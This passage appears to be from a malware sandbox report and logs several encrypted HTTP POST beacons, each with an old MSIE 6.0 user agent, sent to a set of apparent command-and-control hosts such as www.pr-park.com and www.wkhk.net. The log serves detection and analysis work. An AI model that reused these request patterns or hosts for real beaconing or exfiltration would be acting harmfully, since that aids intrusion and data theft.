39 45 35 34 33 4d 32 76 54 4b 45 67 6a 45 41 34 62 58 45 47 48 7a 71 44 30 77 48 55 64 36 47 55 61 44 48 6f 49 70 2b 62 77 49 33 68 4b 57 46 31 4a 76 78 54 30 65 78 4e 47 54 39 31 61 71 32 54 6b 35 67 37 4d 6c 6b 56 50 51 4f 4f 32 36 72 44 75 6b 57 33 69 35 75 59 6b 4b 44 2f 38 6c 47 30 2f 72 32 4e 70 76 4a 37 61 76 4e 49 59 39 30 77 36 6b 70 61 55 6f 46 6f 58 59 73 47 64 2b 37 69 46 73 6d 4a 38 4c 6b 78 69 54 69 6a 52 6a 53 52 6a 38 2f 78 41 7a 42 63 38 63 7a 46 63 4e 6f 48 6e 6b 78 51 42 5a 72 6a 4e 77 6c 33 61 4a 4b 43 30 64 75 5a 7a 35 2f 43 5a 75 58 51 63 69 61 34 74 38 36 56 56 61 56 4f 52 46 64 4f 48 6b 4f 57 76 65 4e 59 62 65 61 4a 54 6f 31 4d 54 79 41 52 6f 57 4e 75 33 64 63 6b 6c 6c 4b 68 68 76 44 63 36 4b 52 61 6c 4e 66 44 4d 50 36 6a 66 62 4f 35 45 75 61 47 4f 34 78 47 46 43 7a 53 2f 52 38 65 35 6b 6c 37 37 4d 45 76 53 35 61 2b 54 34 69 37 77 37 36 75 53 31 52 30 58 73 5a 4a 2b 73 68 63 42 4d 41 75 6f 35 68 66 2b 66 55 34 42 62 42 57 63 55 7a 78 65 63 38 36 36 75 7a 2b 65 64 4d 52 53 47 77 44 32 47 47 6f 55 76 47 66 76 4b 59 77 51 58 68 32 58 2f 49 4c 74 77 46 34 56 53 77 51 6a 49 53 56 50 35 52 44 63 46 5a 61 57 39 79 31 69 63 6e 62 63 4d 48 37 72 50 4a 51 4d 79 4d 54 52 62 56 38 57 57 59 4b 64 Data Ascii: PAJ7VM1s1VRRq/+qRCekNIaqJjM7JLqxUUrt7oSPcwoODMWY5nYy3p8HSTuZ6rq2pd7GCaTKGyLzaoK4o8akeWI7MjNzmmrpaPwoHQDdBKGcEM2YT9OM/fbUbwjjlgKAM8A6AqrWVU5c7KZ0NivlcSMkft64pb17JfB0BJbSR1eyB5ABvGL47JZEWEjzyok9E543M2vTKEgjEA4bXEGHzqD0wHUd6GUaDHoIp+bwI3hKWF1JvxT0exNGT91aq2Tk5g7MlkVPQOO26rDukW3i5uYkKD/8lG0/r2NpvJ7avNIY90w6kpaUoFoXYsGd+7iFsmJ8LkxiTijRjSRj8/xAzBc8czFcNoHnkxQBZrjNwl3aJKC0duZz5/CZuXQcia4t86VVaVORFdOHkOWveNYbeaJTo1MTyARoWNu3dckllKhhvDc6KRalNfDMP6jfbO5EuaGO4xGFCzS/R8e5kl77MEvS5a+T4i7w76uS1R0XsZJ+shcBMAuo5hf+fU4BbBWcUzxec866uz+edMRSGwD2GGoUvGfvKYwQXh2X/ILtwF4VSwQjISVP5RDcFZaW9y1icnbcMH7rPJQMyMTRbV8WWYKd
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pr-park.comCache-Control: no-cacheData Raw: 61 56 78 78 34 66 6c 51 34 6c 54 64 37 57 64 42 69 45 61 42 6f 4a 49 62 53 62 76 58 75 62 42 65 50 58 76 71 2f 43 73 46 61 38 59 39 30 61 34 6a 46 46 4b 6c 46 4a 44 41 59 41 4a 49 39 55 71 4f 46 2f 52 75 6e 71 74 33 4f 46 32 49 64 32 50 35 49 4f 63 79 57 43 45 77 77 4e 50 6a 41 45 53 78 6d 45 78 67 50 65 78 48 58 61 75 50 36 43 47 7a 74 35 79 72 38 49 61 47 31 68 54 45 73 63 47 31 51 49 77 53 53 62 6a 6a 59 72 77 42 6c 48 63 53 50 59 33 58 57 73 5a 48 37 72 62 42 6b 55 74 50 35 50 49 59 37 7a 63 6d 61 30 4a 58 78 48 6d 6d 6c 7a 4f 31 7a 71 6c 76 2b 65 71 34 55 6c 34 2f 30 66 59 73 39 43 75 61 65 46 4b 63 65 59 7a 75 58 68 76 55 49 4a 7a 49 4c 47 73 33 4a 6b 2f 57 66 52 7a 56 78 5a 5a 69 36 32 65 35 6e 76 2f 58 37 76 69 51 63 70 49 61 62 67 4b 64 30 70 6a 2f 4a 6d 70 64 54 64 46 32 6d 59 73 32 4c 6e 4e 79 7a 2b 2b 47 76 65 62 47 79 32 67 52 55 57 79 54 54 71 42 65 56 76 49 4c 41 41 69 70 73 73 46 47 30 43 42 6e 2b 4f 5a 4e 78 6c 54 62 7a 68 64 66 54 6a 62 6e 50 74 70 55 7a 47 7a 49 59 69 4c 36 69 36 47 6b 53 77 6e 4f 54 33 42 67 79 33 4f 52 54 36 4b 52 44 75 4a 6a 4c 6d 36 44 6c 2b 58 61 4a 72 38 30 67 6e 45 41 33 4f 45 6b 6c 6a 34 43 77 52 35 79 64 6f 41 30 54 4b 54 42 62 6c 39 39 66 32 42 76 50 6b 30 37 4b 4d 47 50 33 7a 65 4d 39 39 6d 72 48 4e 70 41 53 65 61 57 51 62 50 6a 64 7a 41 6c 74 6a 57 79 59 45 64 6b 33 45 53 71 6c 43 2f 59 63 6c 55 30 43 62 61 79 31 65 50 79 78 2f 57 33 63 70 6f 4e 4a 78 76 37 70 48 42 2b 79 42 6d 51 58 73 73 69 35 48 6c 72 77 44 54 64 75 74 44 70 6f 64 36 73 5a 47 61 34 7a 63 44 57 77 34 4d 63 5a 68 70 73 67 2b 65 7a 78 37 45 43 79 71 5a 6f 44 2b 79 4f 70 56 62 45 36 51 34 3d Data Ascii: aVxx4flQ4lTd7WdBiEaBoJIbSbvXubBePXvq/CsFa8Y90a4jFFKlFJDAYAJI9UqOF/Runqt3OF2Id2P5IOcyWCEwwNPjAESxmExgPexHXauP6CGzt5yr8IaG1hTEscG1QIwSSbjjYrwBlHcSPY3XWsZH7rbBkUtP5PIY7zcma0JXxHmmlzO1zqlv+eq4Ul4/0fYs9CuaeFKceYzuXhvUIJzILGs3Jk/WfRzVxZZi62e5nv/X7viQcpIabgKd0pj/JmpdTdF2mYs2LnNyz++GvebGy2gRUWyTTqBeVvILAAipssFG0CBn+OZNxlTbzhdfTjbnPtpUzGzIYiL6i6GkSwnOT3Bgy3ORT6KRDuJjLm6Dl+XaJr80gnEA3OEklj4CwR5ydoA0TKTBbl99f2BvPk07KMGP3zeM99mrHNpASeaWQbPjdzAltjWyYEdk3ESqlC/YclU0Cbay1ePyx/W3cpoNJxv7pHB+yBmQXssi5HlrwDTdutDpod6sZGa4zcDWw4McZhpsg+ezx7ECyqZoD+yOpVbE6Q4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wkhk.netCache-Control: no-cacheCookie: snkz=173.254.250.81; btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847852\|1729847852\|0\|1\|0Data Raw: 71 76 44 34 58 39 35 73 35 6c 54 75 43 36 77 4b 4b 65 34 77 2f 63 48 4e 48 65 55 65 61 48 6b 4a 38 75 71 6e 38 4b 4a 53 53 72 73 48 45 35 55 59 31 55 56 5a 41 6b 2f 51 77 61 77 6f 67 33 41 4d 4c 77 79 62 6b 63 42 32 32 4b 46 37 69 36 58 59 69 50 36 36 70 36 73 4e 74 66 62 5a 44 59 55 6b 42 61 6a 41 36 77 31 79 4c 37 79 53 48 79 53 66 41 51 4f 58 62 68 53 4d 67 47 74 51 79 58 64 39 4c 49 39 70 75 43 65 74 36 75 52 6b 49 6d 79 41 56 79 57 43 30 73 56 2f 45 2b 6a 33 42 47 50 56 42 6c 72 52 6a 2f 70 6f 70 68 77 4a 42 7a 6a 69 42 46 6f 54 69 61 69 69 45 4c 34 4d 6e 38 7a 70 6c 4a 75 53 53 66 39 6a 61 4c 38 7a 35 39 32 6f 57 4b 48 6b 62 45 72 65 58 73 6b 53 33 33 71 6c 30 76 46 77 49 50 6b 33 66 70 69 62 4e 56 42 46 67 66 47 61 4c 63 55 67 79 4c 72 4a 68 79 71 68 65 2f 76 42 6d 4d 7a 4e 4b 78 37 51 52 55 58 6f 76 39 30 79 70 56 52 43 72 46 6a 6e 4a 4a 5a 4a 75 66 50 72 71 69 6f 42 58 57 30 77 54 43 69 5a 49 61 5a 48 6a 51 32 74 74 7a 2f 53 4d 59 7a 51 34 45 38 55 67 61 4e 46 63 51 47 78 56 6c 4d 4f 6d 34 31 6c 59 41 55 2f 6f 41 53 62 4b 7a 39 53 78 6a 35 46 50 56 45 45 54 51 46 35 49 32 2f 47 50 42 42 61 30 32 78 52 4e 69 2f 35 43 4b 4f 42 57 4e 37 6f 65 43 43 4b 47 2b 44 58 43 71 73 68 6c 42 61 4c 41 4c 53 58 59 7a 57 57 2b 79 44 4d 72 6d 33 46 34 45 70 38 42 6b 55 49 2f 65 2b 59 7a 6b 50 79 35 36 72 73 42 45 2f 78 2f 38 75 31 30 37 35 33 6e 63 4a 4e 61 41 77 72 58 6c 36 4a 6a 73 55 74 4b 56 36 64 6f 30 31 36 4c 77 46 6a 61 65 62 31 49 78 68 34 54 78 45 61 63 57 4d 4b 39 71 76 52 59 79 74 55 73 56 53 76 6e 62 73 43 4c 48 69 41 51 54 4f 4c 6e 6a 56 70 66 59 61 4c 65 57 57 54 61 6c 64 6d 31 4a 76 63 42 4a 46 2b 35 77 37 6b 67 57 75 4d 46 74 64 7a 57 6c 52 39 4c 51 6a 6f 5a 67 3d 3d Data Ascii: qvD4X95s5lTuC6wKKe4w/cHNHeUeaHkJ8uqn8KJSSrsHE5UY1UVZAk/Qwawog3AMLwybkcB22KF7i6XYiP66p6sNtfbZDYUkBajA6w1yL7ySHySfAQOXbhSMgGtQyXd9LI9puCet6uRkImyAVyWC0sV/E+j3BGPVBlrRj/pophwJBzjiBFoTiaiiEL4Mn8zplJuSSf9jaL8z592oWKHkbEreXskS33ql0vFwIPk3fpibNVBFgfGaLcUgyLrJhyqhe/vBmMzNKx7QRUXov90ypVRCrFjnJJZJufPrqioBXW0wTCiZIaZHjQ2ttz/SMYzQ4E8UgaNFcQGxVlMOm41lYAU/oASbKz9Sxj5FPVEETQF5I2/GPBBa02xRNi/5CKOBWN7oeCCKG+DXCqshlBaLALSXYzWW+yDMrm3F4Ep8BkUI/e+YzkPy56rsBE/x/8u10753ncJNaAwrXl6JjsUtKV6do016LwFjaeb1Ixh4TxEacWMK9qvRYytUsVSvnbsCLHiAQTOLnjVpfYaLeWWTaldm1JvcBJF+5w7kgWuMFtdzWlR9LQjoZg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 33 78 63 61 2f 46 62 65 32 6c 52 71 79 33 48 61 4d 59 47 49 64 76 6e 56 67 31 44 32 30 6d 58 79 36 6e 38 32 56 75 73 6b 4b 41 2f 4d 56 45 32 42 2b 6f 78 6d 55 49 33 33 2f 55 61 4a 66 65 76 75 66 4d 43 74 71 72 67 54 56 6a 50 48 54 63 37 75 54 2f 52 6d 4e 2b 57 72 62 30 77 30 69 61 6c 4c 6f 79 2f 42 6f 33 43 4c 42 37 66 71 68 62 43 43 50 75 4d 73 7a 56 75 57 64 6c 56 70 34 76 74 65 75 48 78 50 6c 46 64 68 64 79 36 61 71 4a 36 56 78 4e 50 70 38 6d 59 2f 76 57 76 52 66 55 4a 68 55 44 67 50 48 4d 54 43 4c 77 75 2f 65 6f 2b 55 36 2f 47 6d 49 71 73 77 41 4f 2f 50 50 43 35 56 58 6e 51 58 4e 46 5a 4b 43 65 68 6a 55 6d 55 50 5a 70 6e 42 56 6c 6a 41 5a 79 75 55 6b 4b 2b 57 4f 73 30 36 54 62 47 39 6e 63 6b 66 45 57 52 6d 4f 53 77 69 51 59 4d 6a 65 50 66 53 39 36 7a 75 58 59 41 69 51 41 6f 51 72 30 2f 6b 4c 4b 67 45 33 66 61 65 6c 73 57 37 69 45 56 2f 36 42 46 31 6f 53 68 78 79 54 68 4c 75 58 7a 62 64 4a 55 58 4a 52 6d 61 6c 58 31 6c 33 45 4c 45 4f 31 6b 56 68 42 61 63 54 75 69 64 70 68 6d 67 57 49 6b 31 63 68 4a 7a 42 6c 4c 4a 48 4a 50 31 6d 35 49 62 63 53 6e 64 4a 66 64 69 72 77 39 32 78 42 78 42 42 78 36 39 52 62 6a 6b 53 6d 4e 6f 6d 7a 69 57 63 6b 37 68 57 70 58 65 5a 52 59 76 72 49 7a 45 69 49 6e 43 39 43 4c 35 57 4f 45 5a 41 62 4c 43 49 4d 6e 65 61 59 44 77 4a 46 44 51 43 68 44 57 53 36 36 37 32 52 47 57 48 68 43 6b 49 46 46 36 62 66 63 6c 35 37 73 37 76 67 52 79 5a 5a 4a 2f 59 43 59 36 76 4c 2b 6d 30 47 72 39 46 53 34 57 42 68 79 30 4e 6e 39 72 38 79 6e 4b 6f 55 62 31 61 2b 6c 34 50 41 50 44 32 68 74 52 4e 34 42 77 32 37 48 66 79 50 74 49 75 6c 38 31 6c 4d 6b 4e 47 39 31 49 4b 46 36 35 4e 62 47 37 59 67 3d 3d Data Ascii: 3xca/Fbe2lRqy3HaMYGIdvnVg1D20mXy6n82VuskKA/MVE2B+oxmUI33/UaJfevufMCtqrgTVjPHTc7uT/RmN+Wrb0w0ialLoy/Bo3CLB7fqhbCCPuMszVuWdlVp4vteuHxPlFdhdy6aqJ6VxNPp8mY/vWvRfUJhUDgPHMTCLwu/eo+U6/GmIqswAO/PPC5VXnQXNFZKCehjUmUPZpnBVljAZyuUkK+WOs06TbG9nckfEWRmOSwiQYMjePfS96zuXYAiQAoQr0/kLKgE3faelsW7iEV/6BF1oShxyThLuXzbdJUXJRmalX1l3ELEO1kVhBacTuidphmgWIk1chJzBlLJHJP1m5IbcSndJfdirw92xBxBBx69RbjkSmNomziWck7hWpXeZRYvrIzEiInC9CL5WOEZAbLCIMneaYDwJFDQChDWS6672RGWHhCkIFF6bfcl57s7vgRyZZJ/YCY6vL+m0Gr9FS4WBhy0Nn9r8ynKoUb1a+l4PAPD2htRN4Bw27HfyPtIul81lMkNG91IKF65NbG7Yg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 58 46 6b 50 46 32 75 2b 32 31 54 2f 61 2f 6b 39 51 6b 44 70 73 64 52 54 4e 34 6b 78 6b 61 55 38 7a 78 37 56 78 31 4d 4b 35 47 68 4e 2b 57 78 5a 38 6e 71 53 69 44 57 58 39 77 61 4d 77 52 49 44 30 51 38 6d 46 36 51 4d 71 51 53 71 55 72 63 62 32 52 6a 48 54 75 33 59 7a 2f 2b 38 42 4d 63 6b 68 78 4b 6a 37 5a 32 33 62 54 65 37 68 38 4d 73 47 77 30 6f 57 6f 53 2b 78 39 67 76 44 7a 73 37 41 56 6a 2b 4e 51 65 78 34 4e 43 34 75 32 54 6b 77 30 67 54 75 68 79 51 68 4f 42 44 79 53 73 45 55 35 64 52 67 55 4e 2f 42 2b 5a 58 62 75 73 65 68 71 4a 4a 53 35 30 62 6d 4c 48 36 53 57 61 6e 45 78 31 6f 57 55 66 59 35 69 73 41 6e 4d 34 78 55 70 65 34 50 32 52 42 68 45 33 50 41 56 36 34 45 32 5a 63 67 4a 4f 6e 2f 77 72 7a 45 4e 2f 31 70 4d 4b 66 76 2f 6a 36 4b 41 2b 34 53 4f 62 62 55 6a 30 4b 68 33 64 75 65 48 50 45 76 32 79 6b 4e 78 77 4d 4b 32 77 49 4d 45 45 50 70 39 48 73 78 58 4b 30 2f 4d 52 79 48 2b 65 4e 61 72 72 73 42 42 31 4c 2f 45 68 41 41 71 46 66 4a 78 75 36 51 48 61 4a 54 42 77 76 76 31 56 73 79 71 39 58 55 44 6a 75 6f 53 4e 32 59 68 55 4b 51 4f 65 51 39 63 6c 41 4a 6d 47 35 77 45 31 50 4c 54 39 48 33 47 4f 58 45 34 41 6c 64 4c 31 70 48 2f 47 33 45 76 44 56 2b 56 51 63 44 32 7a 64 4d 47 5a 67 64 43 42 68 43 50 31 37 31 48 42 4d 72 72 4d 45 32 5a 45 55 36 48 4e 75 32 59 4a 65 2b 46 67 66 55 45 32 64 52 5a 63 43 48 45 58 6c 56 70 70 77 4c 70 57 2f 6b 65 4a 53 37 62 75 47 65 58 63 4b 71 33 2b 67 56 47 4a 67 37 36 54 35 54 53 77 57 70 76 43 6c 77 50 30 53 4d 77 4d 77 4a 6a 6e 4d 48 6d 38 6f 34 38 61 37 4d 6f 74 4a 6b 69 36 7a 62 48 48 32 2b 7a 6e 66 7a 4b 53 55 6b 38 57 67 35 4d 6c 47 66 73 2f 6b 78 74 2f 66 2f 53 70 6a 5a 69 35 73 68 66 4c 76 79 58 2b 38 45 73 5a 76 Data Ascii: XFkPF2u+21T/a/k9QkDpsdRTN4kxkaU8zx7Vx1MK5GhN+WxZ8nqSiDWX9waMwRID0Q8mF6QMqQSqUrcb2RjHTu3Yz/+8BMckhxKj7Z23bTe7h8MsGw0oWoS+x9gvDzs7AVj+NQex4NC4u2Tkw0gTuhyQhOBDySsEU5dRgUN/B+ZXbusehqJJS50bmLH6SWanEx1oWUfY5isAnM4xUpe4P2RBhE3PAV64E2ZcgJOn/wrzEN/1pMKfv/j6KA+4SObbUj0Kh3dueHPEv2ykNxwMK2wIMEEPp9HsxXK0/MRyH+eNarrsBB1L/EhAAqFfJxu6QHaJTBwvv1Vsyq9XUDjuoSN2YhUKQOeQ9clAJmG5wE1PLT9H3GOXE4AldL1pH/G3EvDV+VQcD2zdMGZgdCBhCP171HBMrrME2ZEU6HNu2YJe+FgfUE2dRZcCHEXlVppwLpW/keJS7buGeXcKq3+gVGJg76T5TSwWpvClwP0SMwMwJjnMHm8o48a7MotJki6zbHH2+znfzKSUk8Wg5MlGfs/kxt/f/SpjZi5shfLvyX+8EsZv
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.baijaku.comCache-Control: no-cacheData Raw: 48 77 67 73 73 43 65 57 6b 77 70 55 7a 6a 77 78 31 68 32 51 50 66 42 4f 50 4b 61 64 69 61 38 33 53 7a 52 39 4c 4a 47 31 68 45 79 6f 47 4e 43 43 66 65 7a 4d 4f 64 33 57 4e 39 6c 4a 6d 75 42 63 33 51 6f 63 58 41 43 71 48 78 5a 39 76 66 62 75 50 79 2b 64 39 70 36 77 58 49 6e 2f 47 46 39 37 47 54 2b 53 44 53 6a 73 78 6b 78 53 37 7a 64 2b 48 64 7a 6f 71 4d 4d 6a 32 32 62 66 6e 7a 62 44 76 6c 4c 39 52 66 68 71 57 35 79 4a 4b 44 51 53 6c 6b 38 52 66 79 6b 36 58 64 61 48 37 57 77 73 62 41 72 2b 59 50 6d 61 70 76 54 32 4a 52 36 6d 71 57 39 38 34 61 70 48 78 6b 65 35 63 30 4c 69 62 61 71 48 39 41 36 72 42 73 62 39 6a 53 79 73 64 64 37 4f 69 44 74 72 71 46 62 6d 6a 4b 43 44 31 6d 4d 73 46 57 54 66 6c 48 68 37 68 4e 59 4d 6b 37 69 6f 6f 74 77 76 49 5a 49 71 35 4c 59 46 6c 67 31 77 75 2b 4c 61 30 55 4b 5a 42 41 6a 34 76 6c 46 63 47 6e 69 31 35 68 64 2b 5a 77 68 6b 34 6d 6a 44 6f 6a 47 51 52 34 52 33 39 45 41 35 58 6a 4a 4f 66 4e 59 49 2f 67 47 74 69 49 43 49 6c 66 39 74 2f 52 37 78 73 30 31 57 70 54 45 79 59 45 35 71 56 34 46 6c 62 31 56 6d 70 68 59 50 6a 32 39 34 42 53 53 55 44 72 6e 49 47 4d 46 63 65 55 6b 61 48 42 2f 78 4f 68 45 45 64 51 43 79 63 5a 6d 4f 68 48 6d 51 77 64 76 33 4d 33 62 51 34 41 76 79 47 62 4b 74 75 4b 70 5a 46 39 49 78 7a 5a 68 44 39 4f 79 66 49 7a 45 6e 44 79 68 75 54 45 69 44 76 6b 38 2b 32 2b 72 36 33 45 6a 76 74 79 67 4e 4e 77 73 47 67 7a 2f 44 6e 6d 30 45 6b 46 41 71 72 55 56 51 4b 79 59 33 36 53 33 77 7a 4f 72 68 53 71 50 74 47 77 4b 35 75 6f 70 55 69 58 72 39 6d 50 54 79 45 46 75 73 58 32 2b 38 62 42 54 39 44 66 62 70 68 68 4d 43 6f 44 65 38 4f 77 77 74 34 5a 49 61 57 73 2b 61 72 54 4f 67 35 73 34 2f 6e 7a 51 51 32 6c 39 5a 38 66 48 4a 5a 2f 47 2b 6c 53 34 79 44 63 74 71 71 68 78 54 53 51 73 6a 75 41 42 4b 32 45 39 4c Data Ascii: HwgssCeWkwpUzjwx1h2QPfBOPKadia83SzR9LJG1hEyoGNCCfezMOd3WN9lJmuBc3QocXACqHxZ9vfbuPy+d9p6wXIn/GF97GT+SDSjsxkxS7zd+HdzoqMMj22bfnzbDvlL9RfhqW5yJKDQSlk8Rfyk6XdaH7WwsbAr+YPmapvT2JR6mqW984apHxke5c0LibaqH9A6rBsb9jSysdd7OiDtrqFbmjKCD1mMsFWTflHh7hNYMk7iootwvIZIq5LYFlg1wu+La0UKZBAj4vlFcGni15hd+Zwhk4mjDojGQR4R39EA5XjJOfNYI/gGtiICIlf9t/R7xs01WpTEyYE5qV4Flb1VmphYPj294BSSUDrnIGMFceUkaHB/xOhEEdQCycZmOhHmQwdv3M3bQ4AvyGbKtuKpZF9IxzZhD9OyfIzEnDyhuTEiDvk8+2+r63EjvtygNNwsGgz/Dnm0EkFAqrUVQKyY36S3wzOrhSqPtGwK5uopUiXr9mPTyEFusX2+8bBT9DfbphhMCoDe8Owwt4ZIaWs+arTOg5s4/nzQQ2l9Z8fHJZ/G+lS4yDctqqhxTSQsjuABK2E9L
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 45 64 2b 71 79 2f 39 61 77 46 54 49 68 51 64 34 33 69 78 63 45 59 6a 64 78 79 74 56 69 77 62 74 6f 31 4b 50 4e 34 51 61 70 47 67 2b 65 61 42 46 51 76 51 2f 51 64 45 41 2b 6f 54 58 6f 4f 68 51 61 33 61 55 50 2b 6d 56 55 39 47 31 63 35 48 54 44 6c 46 46 46 4f 44 69 63 33 30 51 48 58 30 58 56 30 39 77 68 34 64 52 42 48 6d 64 68 4f 63 34 69 64 48 75 4f 42 63 49 37 62 49 62 39 59 41 7a 5a 55 6d 44 4b 58 4f 30 46 62 58 73 4e 70 4e 39 63 43 49 66 53 72 46 72 4c 64 5a 42 64 4d 4b 69 61 38 58 52 6b 4f 61 6e 34 42 42 62 5a 74 36 77 5a 46 4f 64 78 51 54 6e 74 66 41 4e 69 75 32 30 64 75 76 53 56 6f 4f 2f 72 43 46 79 4d 72 58 30 44 39 33 6e 46 79 76 59 79 36 39 39 6f 74 59 77 49 75 54 59 58 66 48 52 53 4a 51 62 76 4e 6b 6b 30 6f 36 41 78 51 70 38 2f 76 48 44 53 7a 31 32 6e 47 7a 2f 6a 4b 4d 6a 39 45 42 78 63 31 47 6f 46 4a 6a 78 46 56 56 58 6d 65 72 45 6d 6f 32 72 76 37 47 64 77 37 6d 39 61 7a 75 62 6a 30 70 65 5a 66 5a 39 2f 70 4d 31 7a 4d 75 45 37 36 56 68 71 36 62 52 4d 48 7a 63 66 6b 65 4a 7a 53 57 72 6c 6b 78 68 7a 58 33 2b 67 2b 53 33 66 4c 36 55 7a 33 4c 41 68 54 46 42 57 51 37 49 54 74 6e 35 68 66 35 59 57 4a 36 56 6f 64 56 63 41 4e 6f 43 77 79 30 34 2b 4e 45 77 38 34 78 78 37 32 65 2b 6d 33 64 68 4a 52 2b 58 78 76 6b 67 48 34 51 38 55 51 36 69 55 6c 78 72 43 69 6d 41 73 73 57 59 4f 62 36 6c 57 41 33 50 4d 44 6d 54 31 55 4f 63 4e 6c 4c 45 79 36 52 30 52 58 6c 57 7a 79 35 37 55 72 36 76 70 4f 7a 35 7a 6f 51 35 65 47 4a 53 55 6f 71 73 6b 67 51 66 50 78 46 4f 71 36 79 45 42 52 79 77 49 6f 2b 4d 2f 70 70 6e 46 2b 4e 5a 30 62 41 75 74 36 49 68 6b 74 49 57 34 4c 35 4b 7a 74 59 5a 64 43 38 67 78 41 6f 2b 51 71 57 69 6f 57 74 35 72 32 78 30 48 34 4a 37 4a 2f 63 59 45 34 6b 53 36 77 3d 3d Data Ascii: Ed+qy/9awFTIhQd43ixcEYjdxytViwbto1KPN4QapGg+eaBFQvQ/QdEA+oTXoOhQa3aUP+mVU9G1c5HTDlFFFODic30QHX0XV09wh4dRBHmdhOc4idHuOBcI7bIb9YAzZUmDKXO0FbXsNpN9cCIfSrFrLdZBdMKia8XRkOan4BBbZt6wZFOdxQTntfANiu20duvSVoO/rCFyMrX0D93nFyvYy699otYwIuTYXfHRSJQbvNkk0o6AxQp8/vHDSz12nGz/jKMj9EBxc1GoFJjxFVVXmerEmo2rv7Gdw7m9azubj0peZfZ9/pM1zMuE76Vhq6bRMHzcfkeJzSWrlkxhzX3+g+S3fL6Uz3LAhTFBWQ7ITtn5hf5YWJ6VodVcANoCwy04+NEw84xx72e+m3dhJR+XxvkgH4Q8UQ6iUlxrCimAssWYOb6lWA3PMDmT1UOcNlLEy6R0RXlWzy57Ur6vpOz5zoQ5eGJSUoqskgQfPxFOq6yEBRywIo+M/ppnF+NZ0bAut6IhktIW4L5KztYZdC8gxAo+QqWioWt5r2x0H4J7J/cYE4kS6w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pr-park.comCache-Control: no-cacheData Raw: 63 56 74 6e 49 35 54 30 70 77 70 38 50 74 42 7a 62 31 62 64 6c 4f 66 4d 64 58 67 4d 63 56 42 2f 43 4d 50 41 44 32 76 74 57 58 62 6f 62 70 4c 67 4c 63 6b 57 6c 6c 53 31 73 61 32 35 57 6c 43 75 70 43 75 63 31 31 75 56 36 4c 30 68 68 34 42 79 34 6f 2b 34 41 7a 79 75 4b 39 6d 39 4d 67 72 43 43 76 62 6c 6d 6a 72 79 57 4f 66 6d 69 69 2f 72 56 35 31 59 43 67 53 75 47 51 68 55 5a 39 79 43 45 4f 4f 44 49 68 56 41 73 36 2b 34 36 43 33 70 43 7a 73 52 37 35 56 63 6e 57 6a 65 63 4d 59 31 57 6b 57 2b 33 44 32 35 7a 73 54 38 34 58 61 67 58 68 35 50 44 30 35 61 6b 74 6d 35 76 49 62 45 69 72 32 4b 43 74 79 41 43 34 79 2f 65 41 2f 35 55 69 6c 31 66 69 52 52 56 34 6c 52 72 66 78 54 53 54 67 74 57 62 46 4b 61 6e 6a 64 76 41 32 34 6e 31 57 2f 55 57 6c 62 71 68 32 42 58 2f 50 61 37 52 55 69 59 6f 74 34 33 4b 30 2f 46 79 44 6b 30 63 56 64 37 2b 6e 2b 41 78 46 58 37 52 2f 31 78 32 73 30 7a 6c 39 61 4f 71 34 68 2b 63 6b 7a 4f 59 2b 5a 6c 4f 4e 2f 65 58 65 79 34 39 34 71 30 4c 67 36 56 46 6c 7a 6f 64 70 53 69 7a 5a 62 55 54 63 78 37 50 58 6d 4a 4a 58 6e 4c 77 51 77 78 61 55 32 53 7a 61 33 6e 72 4d 72 57 36 2f 47 30 6f 74 63 49 2f 37 4d 65 33 37 4a 42 39 36 4e 6a 66 38 7a 55 6d 51 65 68 49 2b 4e 55 46 75 46 2f 6d 6e 67 2b 78 33 6d 6f 41 48 35 65 57 66 77 67 38 69 33 44 48 6e 75 4b 63 7a 41 62 63 47 58 30 67 61 37 70 41 72 35 62 71 74 63 71 70 4f 39 6c 65 72 55 55 73 76 68 4d 49 6b 41 37 69 31 36 70 30 35 58 56 36 34 56 79 62 32 43 73 71 65 30 54 73 79 6a 64 7a 56 66 59 72 33 75 79 74 4b 61 32 5a 68 64 38 53 57 62 52 48 52 53 32 72 72 7a 30 37 36 59 33 39 73 6e 33 74 50 35 6f 2b 78 38 65 43 35 72 70 36 47 31 44 41 73 58 53 47 4f 6a 47 4c 65 4e 59 6a 33 2b 54 51 41 4f 56 5a 73 3d Data Ascii: 